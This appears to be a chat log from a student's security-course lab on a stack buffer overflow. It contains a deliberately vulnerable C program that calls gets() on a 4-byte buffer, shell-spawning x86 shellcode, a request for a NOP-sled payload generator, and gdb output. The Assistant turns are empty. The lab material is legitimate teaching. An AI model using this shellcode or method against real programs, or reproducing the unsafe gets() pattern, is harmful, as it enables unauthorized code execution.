vulnprogram.c: #include <stdio.h> #include <stdlib.h> #include <string.h> char passwd[]…
- User
vuln_program.c: #include <stdio.h> #include <stdlib.h> #include <string.h>
char passwd[] = "asd"; char usr_input[4];
void target() { printf("You have entered the correct passwd\n"); exit(0); }
void prompt(){ char buf[4]; gets(buf); strncpy(usr_input, buf, 4); }
int main(){ prompt(); if(strcmp(usr_input, passwd) == 0) { target(); }else { printf("Wrong passwd!\n"); exit(1); }
codereturn 0;}
- Assistant
- User
Stack layout of launching shellcode contains buffer, return address %eip, nop nop nop....., injected code. Overwrite the buffer in a specific way that:
- Overwrite the buffer with padding.
- Overwrite the return address(%eip) on the stack with a guessed address that probably will jump to the injected malicious code.
- nops(0x90) can be filled in the between the return address and injected malicious code to increase the chance that injected malicious code will be executed. The nop instruction will do nothing but jump to the instruction.
- The shellcode then provided as payload at the end of the overwrite.
The shellcode that is used to launch a shell is provided as following: "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Write the attack program to generate the attack payload for this shellcode exploitation.
Providing the argument as ”shellcode” to the attack program will generate the shellcode attack payload. For example, if your code is written in python, run your program as "python3 attack.py shellcode". The output of your program should be a file named "shell string" which stores the attack payload for launching the shellcode.
- Assistant
- User
python3 attack.py shellcode Exploit payload written to 'shell_string'. cs558/proj3(uname -m) -R ./vuln_program < shell_string Segmentation fault
- Assistant
- User
how to use gdb to debug the program, give me commands
- Assistant
- User
gdb ./vuln_program GNU gdb (Debian 13.1-3) 13.1 Copyright (C) 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: https://www.gnu.org/software/gdb/bugs/. Find the GDB manual and other documentation resources online at: --Type for more, q to quit, c to continue without paging--c http://www.gnu.org/software/gdb/documentation/.
For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./vuln_program... (gdb) break main Breakpoint 1 at 0x11d1: file vuln_program.c, line 20. (gdb) break vuln_program.c:20 Note: breakpoint 1 also set at pc 0x11d1. Breakpoint 2 at 0x11d1: file vuln_program.c, line 20. (gdb) run Starting program: /home/akadam4/cs558/proj3_akadam4/vuln_program [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
- Assistant